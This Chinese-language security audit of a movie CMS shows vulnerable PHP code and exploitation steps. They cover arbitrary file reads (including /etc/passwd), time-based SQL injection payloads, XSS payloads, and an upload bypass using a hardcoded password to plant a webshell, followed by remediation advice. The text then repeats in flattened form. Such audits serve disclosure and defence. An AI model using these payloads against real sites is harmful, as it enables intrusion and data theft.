某电影cms审计处体验
字数 1796 2025-08-29 08:32:24

某电影CMS安全审计报告与漏洞分析

1. 文件读取漏洞

1.1 like.php 文件读取漏洞

位置: data/like.php

漏洞代码:

$fang=$_GET['play'];
$jmfang=base64_decode($fang);
$like=file_get_contents($jmfang);

漏洞分析:

  • 直接通过play参数接收用户输入
  • 对输入进行base64解码后直接传递给file_get_contents()
  • 无任何过滤或限制,导致任意文件读取

利用方法:

  1. 将目标文件路径进行base64编码
  2. 通过play参数传递编码后的路径
  3. 示例: like.php?play=base64_encode('/etc/passwd')

限制:

  • 虽然可以读取文件内容,但由于后续的正则匹配处理,可能不会直接显示文件内容
  • 需要结合其他技术手段提取数据

1.2 play.php 文件读取漏洞

位置: play.php

漏洞代码:

$player = base64_decode($_GET['play']);
$tvinfo = file_get_contents($player);

漏洞分析:

  • 与like.php类似,直接解码并读取文件
  • 同样缺乏过滤和限制

2. SQL注入漏洞

2.1 agent/index.php SQL注入

位置: agent/index.php

漏洞代码:

if($_GET['type']=='Sell' and $_GET['id']!=''){  
   $cm->query("UPDATE d_kami SET km_sell=1 WHERE km_id ='".$_GET['id']."'");
   echo tiao("已复制好,可贴粘。", "index.php");
    exit();
  }

漏洞分析:

  • id参数直接拼接进SQL语句,无任何过滤
  • 攻击者可构造恶意SQL语句进行注入
  • 需要先注册代理账号才能利用

利用方法:

  1. 注册代理账号并登录
  2. 构造恶意请求: agent/index.php?type=Sell&id=123' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--

2.2 时间盲注漏洞

位置: agent/index.php

漏洞代码:

if($_GET['type']=='close' and $_GET['id']!=''){  
   $cm->query("UPDATE d_kami SET km_sell=0 WHERE km_id ='".$_GET['id']."'");
   echo backs("卡密取消复制成功!");
   exit();
  } 

漏洞分析:

  • 与上述注入类似,可用于时间盲注
  • 通过响应时间判断注入结果

3. XSS跨站脚本漏洞

3.1 payreturn.php 反射型XSS

位置: payreturn.php

漏洞代码:

$orderid = $_GET["orderid"];
echo $orderid;

漏洞分析:

  • 直接输出未过滤的用户输入
  • 可构造恶意JavaScript代码执行

利用方法:

payreturn.php?orderid=<script>alert(/xss/)</script>

3.2 admin/edituser.php 存储型XSS

位置: admin/edituser.php

漏洞代码:

echo tiao("修改成功!", "edituser.php?id=" . $_POST["id"]);

漏洞分析:

  • 直接将POST的id参数输出到JavaScript中
  • 需要闭合前面的JavaScript代码才能执行

利用方法:

POST数据: admin_aglevel=1&id=123</script>');<script>alert(/xss/)</script>('

绕过技巧:

  • 闭合前面的JavaScript代码
  • 插入自己的恶意代码
  • 确保整体语法正确

4. 文件上传漏洞

位置: 未明确指定文件名(可能是index.php)

漏洞代码:

if(is_array($_FILES["upfile"])){
$i=0;
if($_POST['pwd'] != $passwd){
    echo '<script>alert("ûȨȨ")</script>';
    exit;
}
//...省略部分代码...
$file = $_FILES["upfile"];
if(!in_array($file["type"][$i], $uptypes))
//...省略部分代码...
$pinfo=pathinfo($file["name"][$i]);
$ftype=$pinfo[extension];
$destination = $destination_folder.$i.time().".".$ftype;

漏洞分析:

  1. 存在上传密码保护,但密码硬编码在inc/aik.config.php中(tu_pass=123456)
  2. 仅检查Content-Type,可通过修改绕过
  3. 最终文件名使用原始扩展名,可直接上传PHP文件

利用方法:

  1. 获取上传密码(123456)
  2. 构造上传表单,修改Content-Type为允许的类型(如image/jpeg)
  3. 上传PHP文件(如phpinfo.php或webshell)

完整利用步骤:

  1. 准备上传表单:
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="upfile[]">
    <input type="password" name="pwd" value="123456">
    <input type="submit">
</form>
  1. 使用Burp Suite等工具修改Content-Type
  2. 上传PHP文件获取webshell

5. 安全建议

5.1 文件读取防护

  • 避免直接使用用户输入作为文件路径
  • 如果需要,应严格限制可访问的目录和文件类型
  • 使用白名单机制验证文件路径

5.2 SQL注入防护

  • 使用预处理语句(PDO或mysqli)
  • 对所有用户输入进行严格的过滤和转义
  • 使用框架提供的安全查询方法

5.3 XSS防护

  • 对所有输出到页面的内容进行HTML实体编码
  • 设置Content Security Policy(CSP)头
  • 使用HTTPOnly和Secure标志的Cookie

5.4 文件上传防护

  • 不要依赖客户端验证(如Content-Type)
  • 检查文件内容而不仅是扩展名
  • 重命名上传文件并使用安全的扩展名
  • 将上传文件存储在非web可访问目录
  • 设置上传目录无执行权限

5.5 其他建议

  • 避免在代码中硬编码敏感信息(如密码)
  • 实施最小权限原则
  • 定期进行安全审计和代码审查
  • 保持系统和组件更新

6. 总结

本次审计发现了某电影CMS中存在的多个严重安全漏洞,包括文件读取、SQL注入、XSS和文件上传漏洞。这些漏洞可导致敏感信息泄露、数据库篡改、跨站脚本攻击甚至服务器完全沦陷。建议开发者立即修复这些漏洞,并全面审查代码中的安全问题。

某电影CMS安全审计报告与漏洞分析 1. 文件读取漏洞 1.1 like.php 文件读取漏洞 位置 : data/like.php 漏洞代码 : 漏洞分析 : 直接通过 play 参数接收用户输入 对输入进行base64解码后直接传递给 file_get_contents() 无任何过滤或限制,导致任意文件读取 利用方法 : 将目标文件路径进行base64编码 通过play参数传递编码后的路径 示例: like.php?play=base64_encode('/etc/passwd') 限制 : 虽然可以读取文件内容,但由于后续的正则匹配处理,可能不会直接显示文件内容 需要结合其他技术手段提取数据 1.2 play.php 文件读取漏洞 位置 : play.php 漏洞代码 : 漏洞分析 : 与like.php类似,直接解码并读取文件 同样缺乏过滤和限制 2. SQL注入漏洞 2.1 agent/index.php SQL注入 位置 : agent/index.php 漏洞代码 : 漏洞分析 : id 参数直接拼接进SQL语句,无任何过滤 攻击者可构造恶意SQL语句进行注入 需要先注册代理账号才能利用 利用方法 : 注册代理账号并登录 构造恶意请求: agent/index.php?type=Sell&id=123' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- 2.2 时间盲注漏洞 位置 : agent/index.php 漏洞代码 : 漏洞分析 : 与上述注入类似,可用于时间盲注 通过响应时间判断注入结果 3. XSS跨站脚本漏洞 3.1 payreturn.php 反射型XSS 位置 : payreturn.php 漏洞代码 : 漏洞分析 : 直接输出未过滤的用户输入 可构造恶意JavaScript代码执行 利用方法 : 3.2 admin/edituser.php 存储型XSS 位置 : admin/edituser.php 漏洞代码 : 漏洞分析 : 直接将POST的id参数输出到JavaScript中 需要闭合前面的JavaScript代码才能执行 利用方法 : 绕过技巧 : 闭合前面的JavaScript代码 插入自己的恶意代码 确保整体语法正确 4. 文件上传漏洞 位置 : 未明确指定文件名(可能是index.php) 漏洞代码 : 漏洞分析 : 存在上传密码保护,但密码硬编码在 inc/aik.config.php 中( tu_pass=123456 ) 仅检查Content-Type,可通过修改绕过 最终文件名使用原始扩展名,可直接上传PHP文件 利用方法 : 获取上传密码(123456) 构造上传表单,修改Content-Type为允许的类型(如image/jpeg) 上传PHP文件(如phpinfo.php或webshell) 完整利用步骤 : 准备上传表单: 使用Burp Suite等工具修改Content-Type 上传PHP文件获取webshell 5. 安全建议 5.1 文件读取防护 避免直接使用用户输入作为文件路径 如果需要,应严格限制可访问的目录和文件类型 使用白名单机制验证文件路径 5.2 SQL注入防护 使用预处理语句(PDO或mysqli) 对所有用户输入进行严格的过滤和转义 使用框架提供的安全查询方法 5.3 XSS防护 对所有输出到页面的内容进行HTML实体编码 设置Content Security Policy(CSP)头 使用HTTPOnly和Secure标志的Cookie 5.4 文件上传防护 不要依赖客户端验证(如Content-Type) 检查文件内容而不仅是扩展名 重命名上传文件并使用安全的扩展名 将上传文件存储在非web可访问目录 设置上传目录无执行权限 5.5 其他建议 避免在代码中硬编码敏感信息(如密码) 实施最小权限原则 定期进行安全审计和代码审查 保持系统和组件更新 6. 总结 本次审计发现了某电影CMS中存在的多个严重安全漏洞,包括文件读取、SQL注入、XSS和文件上传漏洞。这些漏洞可导致敏感信息泄露、数据库篡改、跨站脚本攻击甚至服务器完全沦陷。建议开发者立即修复这些漏洞,并全面审查代码中的安全问题。